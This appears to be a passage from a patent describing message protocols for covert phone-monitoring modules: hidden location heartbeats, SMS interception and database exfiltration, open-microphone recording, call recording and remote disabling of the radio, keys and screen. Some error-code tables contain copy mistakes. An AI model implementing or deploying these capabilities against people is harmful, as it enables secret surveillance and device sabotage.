The Set Destination command allows the control system (1400) to configure the bearer, protocol and remote address the control module application sends messages to. Each module installed on the device (as well as the control module application itself) can have its own destination configuration, and each destination configuration can have a list of distinct remote destinations. Each remote destination has associated with it a priority. The control module application first attempts to send messages using the highest priority destination available. In the event of a failure, the control module application falls back to the next highest priority, and continues until the send is successful or the list of destinations is exhausted. Additionally, if a particular module does not have a destination configuration defined, the control module application uses its own destination configuration.







TABLE 22







Set Destination Command Parameters (“|” delimited)














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS






. . . header omitted for clarity





Applica-
0 (control module)
Hex
1
1


tion ID

Numeric





“Ctrl + k”





Command
sd (Set Destination)
Static
1
1


Target
The unique identifier for the
Hex
1
1


Applica-
application whose destination
Numeric




tion ID
is being configured. 






Application IDs are assigned






at the time application 






modules are built. The control






module application has a 






value of 0.





Priority
The priority for this destination.
Hex
1
1



If the value provided conflicts
Numeric





with an existing destination,






control module will replace






the existing destination with






this one





Address
The address parameter indicates
Alpha
1
1



the bearer, protocol and remote
numeric





address. The address must be






prefixed with one of the






following to indicate bearer and






protocol:






https://






http://






sms://






udp://






ussd://






blue:// (Bluetooth ID)









Upon receipt and processing of the Set Destination command, the control module responds with a confirmation message, including a ReturnCode to indicate the processing status. The response is sent to the destination currently configured for the control module, even if the set destination command specifies a different application. The response is formatted as described in Table 23.







TABLE 23







Set Destination Response Message Parameters














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS






. . . header omitted for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the
Hex
1
1



Set Destination command is
Numeric





100-199.






0 = Success






100 = Application not






installed






199 = General unexpected






error





ErrorString
If ReturnCode > 100,
Alpha
0
1



ErrorString should contain a 
numeric





description of the error






condition(s)









6.9.4.1.7 Memory Query

The Memory Query command allows the control system (1400) to query the available storage space on the mobile device using the control module application. Table 24 outlines the Memory Query command parameters.







TABLE 24







Memory Query Command Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application
0 (control module)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mq (Memory Query)
Static
1
1









Upon receipt and processing of the Memory Query command, the control module responds with the requested data, and/or a ReturnCode to indicate the processing status. The response is sent to the destination currently configured for the control module. The response is formatted as described in Table 25.







TABLE 25







Memory Query Response Message Parameters (“|” delimited)














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS






. . . header omitted for






clarity





Application
0 (control module)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the
Hex
1
1



Delete Module command is
Numeric





600-699.






0 = Success






699 = General unexpected






error





ErrorString
If ReturnCode > 600,
Alpha
0
1



ErrorString should contain
numeric





a description of the error






condition(s)





Memory
For each available memory
Structure
1
N


Device
device, a structure as






defined in Table 26.
















TABLE 26







Memory Device Structure (“|” delimited)














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS





Memory
“md” - A static value used to
Static
1
1


Device
indicate that the fields that






follow represent a Memory





Indicator
Device structure





Device
Indicates whether the memory
Alpha
1
1


Type
device is removable or non-
Numeric





removable






R0 = First Removable Disk






R1 = Second Removable Disk






. . .






Rn = Nth Removable Disk






N = Non-Removable





Total
The total size of the device
Hex
1
1


Space
in bytes
Numeric




Available
The available space on the
Hex
1
1


Space
device
Numeric









6.9.5 Monitoring Modules

In some embodiments, the following feature specific modules (e.g. 2390a, 2390b) are downloaded and run on a monitored mobile device (1100). The functionality of each module described herein is described as independent modules for clarity. However, as will be appreciated by persons having ordinary skill in the art, the functionalities ay be combined into a subset of modules for efficiency in deployment without loss of generality.
6.9.5.1 Heartbeat Module
The heartbeat module provides presence and location data to the control service (1410). The heartbeat function can be enabled such that it reports back to the control service on a periodic basis (for example, once every 10 minutes) and/or in response to events on the monitored mobile device (1100) (for example, incoming call, and power on/power off). This module runs without the user's knowledge.
6.9.5.1.1 Heartbeat Module Commands
6.9.5.1.1.1 Heartbeat Command
The command to control the heartbeat function is formatted as described in Table 27.







TABLE 27







Heartbeat Command Format














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS






. . . header omitted for clarity





Applica-
1 (Heartbeat)
Hex
1
1


tion ID

Numeric





“Ctrl + k”





Com-
mc (Module Command)
Hex
1
1


mand

Numeric




Event
Bitmask enumerating the events
4 byte
1
1


Mask
that should trigger a heartbeat
Bitmask





message to be sent. See Table
Hex





28 for the bitmask layout





Timer
The period (in seconds) in 
Hex
0
1


Period
between timer based heartbeat
Numeric





events. This value will be used






only if the timer event is enabled






via the Event Mask parameter





Location
Flag indicating whether to 
boolean
0
1


Flag
include location information
(0 = false,





(if available)
1 = true)
















TABLE 28







Heartbeat Event Bitmask Layout








BIT
DESCRIPTION











0
Timer Event


1
Open


2
Device Power On


3
Device Power Off


4
Incoming SMS


5
Outgoing SMS


6
Incoming call


7
Outgoing call


8
Incoming email


9
Outgoing email


10
Incoming MMS


11
Outgoing MMS


12
Data session initiated


13
Data session ended


14
WiFi session initiated


15
WiFi session ended


16
Bluetooth session initiated


17
Bluetooth session ended


18-31
Open









Example Heartbeat Event Bitmask:
0000 0000 0000 0000 0011 0000 0000 1101
In this example, the following events are enabled and all others are disabled:

    
    
        Timer (bit 0)
        Device Power On (bit 2)
        Device Power Off (bit 3)
        Data session initiated (bit 12)
        Data session ended (bit 13)
    
    


The Heartbeat Module acknowledges receipt and provides processing status for each command it receives. Table 29 shows the format for the Heartbeat response.







TABLE 29







Heartbeat Command Acknowledgement Message Parameters














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS






. . . header omitted for clarity





Application
1 (Heartbeat)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the
Hex
1
1



Heartbeat Module command
Numeric





is 1100-1199.






0 = Success






1100 = One or more events






is not supported






1101 = Location data is not






supported






1102 = One or more events






is not supported and location






data is not supported






1199 = General unexpected






error





ErrorString
If ReturnCode > 1102,
Alpha
0
1



ErrorString should contain a
numeric





description of the error






condition(s)





Message
a - Acknowledgement
static
1
1


Type






Event Mask
A bitmask representing the
4 byte
1
1



events that were successfully
bitmask





enabled for the Heartbeat
in Hex





command. See Table 28 for






the bitmask layout









6.9.5.1.1.2 Heartbeat Message

When the heartbeat function is enabled, a variety of events may cause the device to send a heartbeat message (i.e. incoming SMS message, incoming phone call, device shutdown/startup, etc.). All messages are sent to the server using the protocol and remote address identified via the Set Destination process. The message is formatted according to Table 30.







TABLE 30







Heartbeat Message Parameters














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS






. . . header omitted for






clarity





Application
1 (Heartbeat)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for
Hex
1
1



the Heartbeat Module 
Numeric





command is 1100-1199.






0 = Success






1150 = Failed to access






location data





ErrorString
If ReturnCode = 1150,
Alpha
0
1



ErrorString should
Numeric





contain a description






of the error condition(s)





Message
h - Heartbeat
Static
1
1


Type






Event Mask
A bitmask representing
4 byte
1
1



the event that triggered
bitmask in





the heartbeat message.
Hex





See Table 28 for the






bitmask layout





Location
For Heartbeat Location
struct
0
1


Info
data, a structure as






defined in Table 31.
















TABLE 31







Location Info Structure (“|” delimited)














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS





Location
“li” - A static value used to
Static
1
1


Indicator
indicate that the fields that






follow represent a Location






Info struct





Cell ID
The Cell ID of the tower 
Hex
0
1



that the device is currently
Numeric





connected to.





Timing
The timing advance number
Hex
0
1


Advance
at the time of the Heartbeat.
Numeric




Latitude
Latitude number at the time
Hex
0
1



of the Heartbeat
Numeric




Longitude
Longitude number at the time
Hex
0
1



of the Heartbeat
Numeric




Blob
If location data is gathered but
Alpha
0
1



format is not known, put here
Numeric









6.9.5.2 SMS Intercept Module

The SMS Intercept module has two configurations. In its passive configuration, it captures incoming and outgoing messages. In its active configuration, it sends SMS messages to the device or from the device. The SMS Intercept Module also can be used to exfililtrate the contents of all the SMS databases on the monitored device.
6.9.5.2.1 SMS Intercept Commands
6.9.5.2.1.1 SMS Intercept Command—Passive Configuration
The command format for the passive configuration of the SMS Intercept function is described in Table 32.







TABLE 32







SMS Intercept Passive Configuration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for






clarity





Application
2 (SMS Intercept)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message
p (Passive)
static
1
1


Type






Incoming
Single character code, 
Alpha
1
1


SMS
interpreted as follows:





Action
A - Allow (no action)






F - Allow, but forward to






control system (1400)






I - Intercept and forward






to control system (1400)






B - Block (but do not






forward)





Outgoing
Single character code,
Alpha
1
1


SMS
interpreted as follows:





Action
A - Allow (no action)






F - Allow, but forward to






control system (1400)






I - Intercept and forward






to control system (1400)






B - Block (but do not






forward)
















TABLE 33







SMS Intercept Passive Configuration


Command Acknowledgement Message Parameters














MIN
MAX





OC-
OC-


NAME
DESCRIPTION
TYPE
CURS
CURS






. . . header omitted for clarity





Application
2 (SMS Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the
Hex
1
1



SMS Intercept command is 
Numeric





1200-1299.






0 = Success






1299 = General unexpected






error





ErrorString
If ReturnCode > 0, 
Alpha
0
1



ErrorString should contain
numeric





a description of






the error condition(s)





Message
a - Acknowledgement
static
1
1


Type









6.9.5.2.1.2 SMS Intercept Command—Active Configuration








TABLE 34







SMS Intercept Active Configuration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
2 (SMS Intercept)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
a (Active)
Static
1
1


Action
Single character code, interpreted as
Static
1
1



follows:






D - Deliver SMS to local inbox






S - Send SMS to remote address





Text
SMS Message Text
Alpha
1
1




numeric




Address
Remote address - to be interpreted as the
Alpha
1
1



sender's address for Action = D and as the
numeric





recipient address for Action = S
















TABLE 35







SMS Intercept Active Configuration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
2 (SMS Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the SMS Intercept
Hex
1
1



command is 1200-1299.
Numeric





0 = Success






1299 = General unexpected error





ErrorString
If ReturnCode > 0, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
Static
1
1


Type









6.9.5.2.1.3 SMS Intercept Exfiltration Command

The SMS Intercept Exfiltration command exfiltrates the contents of all the SMS databases (inbox, sent, delete, draft). The command is presented in the format shown in Table 36.







TABLE 36







SMS Intercept Exfiltration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity . . .





Application
2 (SMS Intercept)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
e (exfiltration)
Static
1
1


Action
Bitmask enumerating the databases that
Hex
1
1



should be interrogated and their contents
Numeric





returned.. See Table 37 for the bitmask






layout.
















TABLE 37







SMS Intercept Event Bitmask Layout








BIT
DESCRIPTION





0
All databases


1
Inbox


2
Outbox (waiting to be sent)


3
Sent


4
Drafts


5
Trash









SMS Intercept Event Bitmask Examples
Example 1: 000001 (Hex 1)
In this example, the following events are enabled and all others are disabled:

    
    
        Capture all databases contents (bit 0)
    
    


Example 2: 001010 (Hex A)
In this example, the following events are enabled and all others are disabled:

    
    
        Capture Inbox contents (bit 1)
        Capture Sent contents (bit 3)
    
    









TABLE 38







SMS Intercept Exfiltration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity . . .





Application
2 (SMS Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the SMS Intercept
Hex
1
1



Exfiltration command is 1200-1299.
Numeric





0 = Success






1299 = General unexpected error





ErrorString
If ReturnCode > 0, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
Static
1
1


Type
















TABLE 39







SMS Intercept File Transmission Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity . . .





Application
2 (SMS Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the SMS Intercept
Hex
1
1



Exfiltration command is 1200-1299.
Numeric





0 = Success






1200 = No files to upload






1299 = General unexpected error





ErrorString
If ReturnCode > 1200, ErrorString should
Alpha
0
1



contain a description of the error
Numeric





condition(s)





Message
e - exfiltration
static
1
1


Type






SMS
For SMS Message Transmission data, a
struct
0
N


Message
structure as defined in Table 40. There can





Segment
be multiple of these, one right after the





Information
other.
















TABLE 40







SMS Message Data Structure (“|” delimited)














Min
Max


Name
Description
Type
Occurs
Occurs





SMS
“sei” - - A static value used to indicate that
static
1
1


Exfiltration
the fields that follow represent a SMS





Indicator
Exfiltration Info struct





Database
Hex value of the database this message
Hex
1
1



came from. See Table 37.
Numeric




Address
This is the address the SMS. This is either
Alpha
0
1



the From or To address based on the






database the message came from.





SMS Header
The header of the SMS message. This
Alpha
0
1



should contain items like sent/received






time. Items from Trash or Drafts may not






have this data.





Subject
Subject of the SMS message. Some SMS
Alpha
0
1



messages may not contain a subject line.





Body
Body of the SMS message.
Alpha
1
1









6.9.5.3 Open Microphone (Open Mic) Module

The open microphone module records audio using a microphone on the monitored mobile device (1100) and exfiltrates the recorded audio to the control system (1400). The methods of audio capture are configurable and include the following:

    
    
        Capture and store audio
        Relay stored audio
        Relay during capture (streaming)
        Audio quality specification
        Create open channel (call)—create a send-only call
        Configure open call destination—configures the phone number of the listen-only recording service (1440)
    
    


The recorded audio can be immediately streamed to the control system (1400), or saved on the device for later upload.







TABLE 41







Open Mic Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Mic)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
Static variable that signifies the type of
static
1
1



command this is. Valid values are ‘c’,






‘q’, ‘a’ and ‘e’. (Configure, Query,






Activate, Exfiltration). See Sections






detailing each Message Type below.





Message
Structure to support Message Type
struct
0
1


Command






struct









6.9.5.3.1 Open Mic Commands

6.9.5.3.1.1 Open Mic Configuration Command

The command to configure the options for exfiltration of audio data files for the Open Microphone module is formatted as described in Table 42.







TABLE 42







Open Mic Configuration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Mic)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
c (Configure)
static
1
1


Audio
Quality of codec to use. Values can 0 or
Hex
1
1


quality
1, where 0 is the best quality (may have
Numeric





larger files) and 1 is lower quality than






best (smaller sized files). Default value is






0. Example is 0 = WAV and 1 = GSM610.





Exfiltration
Three character code, interpreted as
static
1
1


Method
follows:






STR - Stream audio data in real-time






IMM - Upload audio data immediately






after recording is stopped






STO - Store audio data on device






NDS - Upload audio data during next






user-initiated data session






NIP - Upload audio data during next idle






period. Length of idle period must be






specified with the Exfiltration Threshold






parameter in this message






MEM - Upload audio data when the






available storage space reaches a






minimum amount. The minimum amount






of storage space must be specified with






the Exfiltration Threshold parameter in






this message





Exfiltration
Required for Exfiltration Method = NIP
Hex
0
1


Threshold
and MEM. Used to specify the threshold
Numeric





associated with each of these exfiltration






policies









Upon receipt of an Open Mic Configuration command, the Open Mic module responds immediately with an acknowledgement that the command was received and processed. Table 43 shows the format for the Open Mic Configuration response.







TABLE 43







Open Mic Configuration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Microphone)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Open Mic
Hex
1
1



commands is 1300-1399.
Numeric





0 = Success






1300 = No audio capture capability






1301 = Start audio capture failed






1302 = Stop audio capture failed






1303 = No audio to upload






1399 = General unexpected error





ErrorString
If ReturnCode > 1303, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
static
1
1


Type









6.9.5.3.1.2 Open Mic Query Configuration Command

The command to query the configuration of the Open Mic module is formatted as described in Table 44.







TABLE 44







Open Mic Query Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Mic)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
q (Query)
Static
1
1









Upon receipt of an Open Microphone Query Command, the Open Microphone module responds immediately with a list of audio codecs available on the device.







TABLE 45







Open Mic Query Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Microphone)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Open Mic
Hex
1
1



commands is 1300-1399.
Numeric





0 = Success






1300 = No audio capture capability






1301 = Start audio capture failed






1302 = Stop audio capture failed






1303 = No audio to upload






1399 = General unexpected error





ErrorString
If ReturnCode > 1303, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Configuration
For Open Mic configuration data, a
struct
1
1


Information
structure as defined in Table 46.
















TABLE 46







Query Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Configuration
“qi” - - A static value used to indicate that
static
1
1


Indicator
the fields that follow represent a Open Mic






Configuration Info struct





Active Codec
The codec currently configured to be used
Alpha
1
1



by the Open Mic module
Numeric




Active Codec
This is the index associate with this codec.
Hex
1
1


Index
0 = best quality, 1 = next best quality
Numeric




Currently
This is a Boolean to let the server know if
Boolean
1
1


recording
audio is in the process of being recorded.
(0-1)




Active
Three character code, interpreted
Alpha
1
1


Exfiltration
according to the Exfiltration Method





Method
parameter defined in Table 42.





Active
If Active Exfiltration Method = NIP or
Hex
0
1


Exfiltration
MEM, this value specifies the threshold
Numeric




Threshold
associated with each of the exfiltration






policy





Available
The abbreviation for an available audio
Alpha
1
n


Codec
codec.









6.9.5.3.1.3 Open Mic Activation Command

The command to immediately start and stop audio recordings for the Open Microphone module is formatted as described in Table 47.







TABLE 47







Open Mic Immediate Start and Stop Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Mic)
Hex
1
1


ID

Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
a (Activation)
static
1
1


State
1 = Activate microphone
boolean
1
1



0 = Deactivate microphone





Duration
The number of seconds to record room
Hex
1
1



audio. A value of 0 indicates unlimited
Numeric





(or until a deactivate command is






received or memory of device is low)









Upon receipt of an Open Microphone Activation Command, the Open Microphone module responds immediately with an acknowledgement message formatted as described in Table 48. The acknowledgement is sent using the configured destination.







TABLE 48







Open Mic Activation Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Microphone)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for the Open
Hex
1
1



Microphone Module command is 1300-1399.
Numeric





0 = Success






1300 = No audio capture capability






1301 = Start audio capture failed






1302 = Stop audio capture failed






1303 = No audio to upload






1399 = General unexpected error





ErrorString
If ReturnCode > 1303, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
static
1
1


Type









6.9.5.3.1.4 Open Mic Exfiltration Command

The command to immediately start uploading any saved audio recordings is formatted as described in Table 49.







TABLE 49







Open Mic Exfiltration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application ID
3 (Open Mic)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module
Hex
1
1



Command)
Numeric




Message Type
e (exfiltration)
static
1
1









Upon receipt of an Open Mic Exfiltration command, the Open Mic module responds immediately with an acknowledgement that the command was received and processed. Table 50 shows the format for the Open Mic Exfiltration response.







TABLE 50







Open Mic Exfiltration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Microphone)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Open Mic
Hex
1
1



commands is 1300-1399.
Numeric





0 = Success






1300 = No audio capture capability






1301 = Start audio capture failed






1302 = Stop audio capture failed






1303 = No audio to upload






1399 = General unexpected error





ErrorString
If ReturnCode > 1303, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message Type
a - Acknowledgement
static
1
1


Configuration
For Open Mic audio file data, a structure
struct
1
1


Information
as defined in Table 51.
















TABLE 51







Audio File Number Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Audio File
“afni” -- A static value used to indicate
static
1
1


Number
that the fields that follow represent a Open





Indicator
Mic Exfiltration Info struct





Number of
The number of audio files that will be
Hex
1
1


audio files
uploaded. This is NOT the number of
Numeric





frames or segments. An example is if there






are 3 different recording sessions saved to






the device, that are made up of 6 total






segments (2 segments per session), this






number would be 3.









6.9.5.3.1.5 Open Mic Audio File Transmission Message

The Open Microphone module uploads audio file according to the format in Table 52.







TABLE 52







Open Mic Audio File Transmission Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
3 (Open Microphone)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Open Mic
Hex
1
1



commands is 1300-1399.
Numeric





0 = Success






1300 = No audio capture capability






1301 = Start audio capture failed






1302 = Stop audio capture failed






1303 = No audio to upload






1399 = General unexpected error





ErrorString
If ReturnCode > 1303, ErrorString should
Alpha
0
1



contain a description of the error
Numeric





condition(s)





Message
e - exfiltration
static
1
1


Type






Audio
For Audio Transmission data, a structure
struct
0
1


Segment
as defined in Table 53.





Information
















TABLE 53







Audio Data Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Audio
“aei” - A static value used to indicate
static
1
1


Exfiltration
that the fields that follow represent a





Indicator
Audio Exfiltration Info struct





Audio
The quality index of the codec used.
Hex
1
1


Quality Index

Numeric




Audio Codec
The codec this audio was encoded with
Alpha
1
1


File Size
Required for all audio files, unless the
Hex
1
1



audio is being streamed in bytes
Numeric




File Count
When segmenting the audio into smaller
Hex
1
1



files, specify the segment count here
Numeric




File Index
When segmenting the audio into smaller
Hex
1
1



files, specify the zero based index of this
Numeric





file here





Start Time
This is the start time of the entire audio
Date/Decimal
1
1



capture, NOT segment start time. If there






are multiple audio segments uploaded, this






start time value will be the same. Format






of time is yyyyMMddHHmmss with a 24






hour time stamp.





Stop Time
This is the stop time of the entire audio
Data/Decimal
1
1



capture, NOT segment stop time. If there






are multiple audio segments uploaded, this






stop time value will be the same. Format of






time is yyyyMMddHHmmss with a 24






hour time stamp. If uploading of data is






occurring while audio is being captured,






this value will be 0.





Audio File
The audio data, encoded according to the
blob
1
1



specified format









6.9.5.4 Denial of Service Module

The Denial of Service module disables the RF transmitter and receiver on a monitored device (1100), as well as the buttons/keys on the device and the display screen. Some or all of these elements can be disabled either permanently or for a specific period of time.
The command to activate the Denial of Service module is formatted as described in Table 54.







TABLE 54







Denial of Service Activation Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
4 (Denial of Service)
1 byte
1
1




integer





“Ctrl + k”





Command
mc (Module command)
Alpha
1
1




numeric




Message Type
A (Activation message type)
Alpha
1
1


Disabled
A bitmask defining which functions
1 byte
1
1


Functions
should be enabled/disabled
bitmask





Bit 0: Disable keys






Bit 1: Disable screen(s)






Bit 2: Disable RF






Bits 3-7: Open





Duration
The length of time to disable functions
4 byte
1
1



defined in the Disabled Functions
integer





parameter, in seconds. A value of 0






indicates the functions will be disabled






permanently, or until an enabling






command is received (of course, this only






works if RF is NOT disabled), or a






specific keystroke sequence is entered on






the device.





Survive
Indicates whether or not the disablement
boolean
0
1


Reboot
should remain intact if the device is
(1 = true,





rebooted.
0 = false)









In some embodiments, upon receipt of a Denial of Service Activation Command, the Denial of Service module responds immediately with an acknowledgement that the command was received and processed. The acknowledgement must be sent prior to actually processing the command, because the command may disable the RF transmission function on the device, which would prevent the acknowledgement from being sent. The acknowledgement is sent using the configured destination.







TABLE 55







Denial of Service Activation Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
4 (Denial of Service)
1 byte
1
1


ID

integer




ReturnCode
The error code range for the Denial of
2 byte
1
1



Service command is 1300-1399.
Integer





0 = Success






1399 = General unexpected error





ErrorString
If ReturnCode > 1300, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
A - Acknowledgement
Alpha
1
1


Type









6.9.5.5 Call Intercept Module

The Call Intercept module records incoming and outgoing phone calls. The recorded audio can be uploaded immediately after phone call ends or saved on the device for later upload.







TABLE 56







Call Intercept Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
5 (Call Intercept)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
Static variable that signifies the type of
static
1
1



command this is. Valid values are ‘c’, ‘q’






and ‘e’. (Configure, Query, Exfiltration).






See Sections detailing each Message






Type below.





Message
Structure to support Message Type
struct
0
1


Command






struct









In the illustrated embodiments, the Call Intercept Module acknowledges receipt and provides processing status for each command it receives. In more specific exemplary embodiments, the device periodically transmits messages to the control system (1400) based on trigger events that may occur on the device (i.e. incoming phone call and outgoing phone call). The messages are sent to the control system (1400) using the bearer, protocol and remote address identified via the Set Destination process.







TABLE 57







General Device Initiated Message Parameters (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
The unique identifier for the application
Hex
1
1


ID
that generated this message. Application
Number





IDs are assigned at the time application






modules are built. The control module






application has a value of 0.





ReturnCode
The ReturnCode for the event that
Hex
1
1



triggered the message. ReturnCode = 0 is
Numeric





used to indicate success. Any other value






is considered a failure. Each application






defines its own set of ReturnCode values.





ErrorString
A string containing a description of the
Alpha
0
1



error(s) that occurred during processing
Numeric




Message
A static variable describing the type of
static
1
1


Type
message. Valid values are ‘a’ and ‘e’






(acknowledgement and exfiltration)





Added
Depending on the Message Type of the
struct
0
1


structure
incoming command this structure maybe a






‘cici’, ‘afni’ or ‘ciei’. (Configuration






Indicator, Audio File Number Indicator,






and Exfiltration Indicator)









6.9.5.5.1 Call Intercept Commands

6.9.5.5.1.1 Call Intercept Configuration Command

The command to configure the options for the Call Intercept module is formatted as described in Table 58.







TABLE 58







Call Intercept Configuration Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application ID
5 (Call intercept)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module Command)
Hex
1
1




Numeric




Message Type
c (Configure)
static
1
1


Audio quality
Quality of codec to use. Values can 0 or
Hex
1
1



1, where 0 is the best quality (may have
Numeric





larger files) and 1 is lower quality than






best (smaller sized files). Default value is






0. Example is 0 = WAV and 1 =






GSM610.





Exfiltration
Three character code, interpreted as
static
1
1


Method
follows:






STR - Stream audio data in real-time






IMM - Upload audio data immediately






after recording is stopped






STO - Store audio data on device






NDS - Upload audio data during next






user-initiated data session






NIP - Upload audio data during next






idle period. Length of idle period must be






specified with the Exfiltration Threshold






parameter in this message





Exfiltration
Required for Exfiltration Method = NIP.
Hex
0
1


Threshold
Used to specify the threshold associated
Numeric





with each of these exfiltration policies





Call
Information to determine which incoming
struct
1
n


Information
and outgoing calls to record as defined in






Table 59.
















TABLE 59







Call Intercept Configuration Info Structure (“|” delimited)














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS





Call
“cci” - A static value used to indicate
static
1
1


Configuration
that the fields that follow represent a Call





Indicator
Configuration Info structure





Phone number
Phone number interested in recording. This
Alpha
1
1



can be a specific number as 5551234567,
Numeric





or an ‘*’ to record all numbers, or a pattern






match as in 360* or *1234*.





Direction
Character code on when to record call;
Alpha
1
1



OUT - record outgoing call only






IN - record incoming call only






All - record both incoming and






outgoing calls






Off - Turn off call recording.









In some embodiments, upon receipt of a Call Intercept Configuration command, the Call Intercept module responds immediately with an acknowledgement that the command was received and processed. Table 60 shows the format for the Call Intercept Configuration response.







TABLE 60







Call Intercept Configuration Command Acknowledgement Message Parameters














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted for clarity





Application
5 (Call Intercept)
Hex
1
1


ID

Numeric




ReturnCode
The error code range for all Call Intercept
Hex
1
1



command is 1500-1599.
Numeric





0 = Success






1500 = No audio capture capability






1599 = General unexpected error





ErrorString
If ReturnCode > 1500, ErrorString should
Alpha
0
1



contain a description of the error
numeric





condition(s)





Message
a - Acknowledgement
static
1
1


Type









6.9.5.5.1.2 Call Intercept Query Command

The command to query the configuration of the Call Intercept module is formatted as described in Table 61.







TABLE 61







Call Intercept Query Command Format














MIN
MAX


NAME
DESCRIPTION
TYPE
OCCURS
OCCURS






. . . header omitted






for clarity





Application ID
5 (Call Intercept)
Hex
1
1




Numeric





“Ctrl + k”





Command
mc (Module
Hex
1
1



Command)
Numeric




Message Type
q (Query)
Static
1
1









